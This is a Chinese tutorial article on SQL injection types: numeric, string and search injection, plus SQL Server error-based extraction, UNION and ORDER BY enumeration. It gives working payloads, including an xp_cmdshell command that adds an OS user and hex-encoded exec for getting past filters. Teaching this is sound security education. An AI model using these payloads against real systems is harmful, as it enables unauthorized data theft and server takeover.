我的编程空间,编程开发者的网络收藏夹
学习永远不晚

sql注入的方式有哪些

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

sql注入的方式有哪些

这篇文章主要讲解了“sql注入的方式有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“sql注入的方式有哪些”吧!

sql注入的三种方式是:1、数字型注入,当输入的参数为整型时,可能存在数字型注入漏洞;2、字符型注入,当输入参数为字符串时,可能存在字符型注入漏洞;3、搜索型注入,在进行数据搜索时没过滤搜索参数。

本教程操作环境:windows7系统、python3版、Dell G3电脑。

SQL 注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

SQL 注入分类

1. 数字型注入

当输入的参数为整型时,则有可能存在数字型注入漏洞。

假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1

可以对后台的 SQL 语句猜测为:

SELECT * FROM table WHERE id=1

判断数字型漏洞的 SQL 注入点:

① 先在输入框中输入一个单引号 '

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE id=1',

不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。

② 在输入框中输入 and 1 = 1

SQL语句变为:

SELECT * FROM table WHERE id=1 and 1 = 1

语句正确,执行正常,返回的数据与原始请求无任何差异。

③ 在数据库中输入 and 1 = 2

SQL 语句变为:

SELECT * FROM table WHERE id=1 and 1 = 2

虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

2. 字符型注入

当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。

假设后台的 SQL 语句如下:

SELECT * FROM table WHERE username = 'admin'

判断字符型漏洞的 SQL 注入点:

① 还是先输入单引号 admin' 来测试

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE username = 'admin''。

页面异常。

② 输入:admin' and 1 = 1 --

注意:在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --(两条杠后面还有一个空格!!!)。
SQL 语句变为:

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

页面显示正确。

③ 输入:admin' and 1 = 2 --

SQL 语句变为:<

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

页面错误。

满足上面三个步骤则有可能存在字符型 SQL 注入。

3.搜索型注入

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

以下是一些常见的注入叫法:

  • POST注入:注入字段在 POST 数据中

  • Cookie注入:注入字段在 Cookie 数据中

  • 延时注入:使用数据库延时特性注入

  • 搜索注入:注入处为搜索的地方

  • base64注入:注入字符串需要经过 base64 加密

常见数据库的注入

攻击者对于数据库注入,无非是利用数据库获取更多的数据或者更大的权限,利用的方式可以归结为以下几类:

  • 查询数据

  • 读写文件

  • 执行命令

攻击者对于程序注入,无论任何数据库,无非都是在做这三件事,只不过不同的数据库注入的 SQL 语句不一样罢了。

这里介绍三种数据库的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。

SQL Server

1. 利用错误消息提取信息

SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分美好的事情,因为攻击者可以通过错误消息提取自己想要的数据。

① 枚举当前表或者列

假设选择存在这样一张表:

sql注入的方式有哪些

查询 root 用户的详细信息,SQL 语句猜测如下:

SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻击者可以利用 SQL Server 特性来获取敏感信息,在输入框中输入如下语句:

' having 1 = 1 --

最终执行的 SQL 语句就会变为:

SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那么 SQL 的执行器可能会抛出一个错误:

sql注入的方式有哪些

攻击者就可以发现当前的表名为 user、而且存在字段 id。

攻击者可以利用此特性继续得到其他列名,输入如下语句:

' GROUP BY users.id HAVING 1 = 1 --

则 SQL 语句变为:

SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

抛出错误:

sql注入的方式有哪些

由此可以看到包含列名 username。可以一次递归查询,知道没有错误消息返回位置,这样就可以利用 HAVING 字句得到当表的所有列名。

注:Select指定的每一列都应该出现在Group By子句中,除非对这一列使用了聚合函数

②. 利用数据类型错误提取数据

如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。

如下列 SQL 语句:

SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

执行器错误提示:

sql注入的方式有哪些

这就可以获取到用户的用户名为 root。因为在子查询 SELECT TOP 1 username FROM users 中,将查询到的用户名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比较,两种类型不同的数据无法比较而报错,从而导致了数据泄露。

利用此方法可以递归推导出所有的账户信息:

SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。

通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息,这里就不再赘述。

2. 获取元数据

SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。

如:

SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

若当前表的列数为 2,则可以 UNION 语句获取当前数据库表。具体怎么猜测当前表的列数,后面进行描述。

一些常用的系统数据库视图:

数据库视图说明
SYS.DATABASESSQL Server 中的所有数据库
SYS.SQL_LOGINSSQL Server 中的所有登录名
INFORMATION_SCHEMA.TABLES当前用户数据库中的所有数据表
INFORMATION_SCHEMA.COLUMNS当前用户数据库中的所有列
SYS.ALL_COLUMNS用户定义对象和系统对象的所有列的联合
SYS.DATABASE_PRINCIPALS数据库中每个权限或列异常权限
SYS.DATABASE_FILES存储在数据库中的数据库文件
SYSOBJECTS数据库中创建的每个对象 (包括约束、日志以及存储过程)
3. ORDER BY 子句猜测列数

可以用 ORDER BY 语句来判断当前表的列数。

如:

① SELECT * FROM users WHERE id = 1——SQL执行正常

②SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL执行正常

③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL执行正常

④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 执行正常

⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 抛出异常:

sql注入的方式有哪些

由此可以得出,当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。

在得知列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。

4. UNION 查询

UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:

  • 所有查询中的列数必须相同

  • 数据类型必须兼容

① 用 UNION 查询猜测列数

不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。

在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:

SELECT * FROM users WHERE id = 1 UNION SELECT 1

数据库会发出异常:

sql注入的方式有哪些

可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:

UNION SELECT 1,2、UNION SELECT 1,2,3

也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。

② 联合查询敏感信息

在得知列数为 4后,可以使用一下语句继续注入:

UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示对象类型是表)

若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。

5. 利用SQL Server 提供的系统函数

SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。

如:

  • SELECT suser_name():返回用户的登录标识名

  • SELECT user_name():基于指定的标识号返回数据库用户名

  • SELECT db_name():返回数据库名

  • SELECT is_member(‘db_owner’):是否为数据库角色

  • SELECT convert(int, ‘5’):数据类型转换

6. 存储过程

存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。

攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。

例如:http://www.aaa.org/test.aspx?id=1 中存在注入点,那么攻击者就可以实施命令攻击:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最终执行的 SQL 语句如下:

SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'

分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为 test、密码为 test 的用户。

注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有 CONTROL SERVER 权限。

常见的危险存储过程如下表:

存储过程说明
sp_addlogin创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例
sp_dropuser从当前数据库中删除数据库用户
xp_enumgroups提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表
xp_regread读取注册表
xp_regwrite写入注册表
xp_redeletevalue删除注册表
xp_dirtree读取目录
sp_password更改密码
xp_servicecontrol停止或激活某服务

另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限。常见的SQL Server 数据库的角色与权限如下:

角色权限
bulkadmin可以运行 BULK INSERT 语句
dbcreator可以创建、更改、删除和还原任何数据库
diskadmin可以管理磁盘文件
processadmin可以种植在数据库引擎中运行的实例
securityadmin可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码
serveradmin可以更改服务器范围的配置选项和关闭服务器
setupadmin可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin可以在数据库引擎中执行任何活动
7. 动态执行

SQL Server 支持动态执行语句,用户可以提交一个字符串来执行 SQL 语句。

如:exec('SELECT username, password FROM users')

也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

或者:

declare@queryvarchar(888)select@query=0x73656C6563742031exec(@query)

感谢各位的阅读,以上就是“sql注入的方式有哪些”的内容了,经过本文的学习后,相信大家对sql注入的方式有哪些这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

sql注入的方式有哪些

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

java防止sql注入的方式有哪些

Java防止SQL注入的方式有以下几种:1. 使用参数化查询(Prepared Statement):使用PreparedStatement接口来执行SQL语句,通过将参数与SQL语句分开,使得SQL注入攻击无法成功。示例代码:```jav
2023-08-23

java防止sql注入的方式有哪些

预防SQL注入至关重要,可保护敏感数据免遭未经授权的访问和篡改。有效的方法包括:参数化查询:用占位符替换输入,阻止恶意代码注入。输入验证:检查输入有效性,拒绝无效值。转义特殊字符:确保特殊字符被视为文本,而非SQL代码。使用白名单:限制输入到已知安全值列表内。使用ORM框架:自动化参数化查询和输入验证。使用安全库:提供SQL注入防护机制。遵循安全编码实践:编写健壮代码,使用适当错误处理。定期进行安全性审查:识别和修复潜在漏洞。教育和培训:提高安全意识。部署Web应用程序防火墙:过滤和监视网络流量,检测和阻
java防止sql注入的方式有哪些
2024-04-13

php sql注入的方法有哪些

SQL注入是一种常见的网络安全漏洞,攻击者利用此漏洞可以执行恶意SQL语句,从而获取敏感数据或者对数据库进行修改。以下是一些常见的PHP SQL注入的方法:1. 基于用户输入的拼接:攻击者通过向用户输入的数据中插入恶意的SQL代码,从而破坏
2023-08-23

php sql注入的方法有哪些

这篇文章将为大家详细讲解有关php sql注入的方法有哪些,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。MySQL注入的类型1. 字符级注入使用特殊字符(如单引号或分号)来终止SQL查询并插入恶意代码。例如:SELECT * FROM users WHERE username="ad
php sql注入的方法有哪些
2024-04-13

spring的注入方式有哪些

Spring的注入方式有三种:1. 构造器注入(Constructor Injection):通过构造方法来注入依赖对象。2. Setter注入(Setter Injection):通过setter方法来注入依赖对象。3. 字段注入(Fie
2023-09-27

Spring注入方式有哪些

本篇内容介绍了“Spring注入方式有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Spring的三种注入方式属性(filed)注入这种
2023-06-25

redis注入方式有哪些

Redis注入是指利用Redis的一些功能或特性进行攻击的一种方式。以下是一些常见的Redis注入方式:1. 命令注入:攻击者通过篡改输入参数或使用特殊字符,注入恶意Redis命令,从而执行任意操作或获取敏感信息。2. 数据库注入:攻击者通
2023-08-23

SQL注入的防御方法有哪些

这篇文章主要介绍了SQL注入的防御方法有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇SQL注入的防御方法有哪些文章都会有所收获,下面我们一起来看看吧。限制数据类型在传入参数的地方限制参数的类型,比如整型
2023-07-02

sql多行注释的方式有哪些

在SQL中,多行注释可以使用以下几种方式:使用/ /:SELECT * FROM table_name;使用—注释每一行:-- 这是-- 多行-- 注释SELECT * FROM table_nam
sql多行注释的方式有哪些
2024-03-07

spring注入bean的方式有哪些

Spring注入Bean的方式有以下几种:1. 构造器注入:通过构造器参数来注入依赖的Bean。2. Setter方法注入:通过调用Bean的Setter方法来设置依赖的Bean。3. 接口注入:通过实现接口来注入依赖的Bean。4. 注解
2023-09-05

Spring IOC注入方式有哪些

今天小编给大家分享一下Spring IOC注入方式有哪些的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。Spring IOC三
2023-06-03

jdbc防止sql注入的方法有哪些

使用PreparedStatement来执行SQL语句,而不是Statement。PreparedStatement使用占位符来代替参数值,可以防止SQL注入攻击。对用户输入的数据进行合法性验证和过滤,只允许特定的字符或格式。使用ORM框架
jdbc防止sql注入的方法有哪些
2024-04-09

编程热搜

目录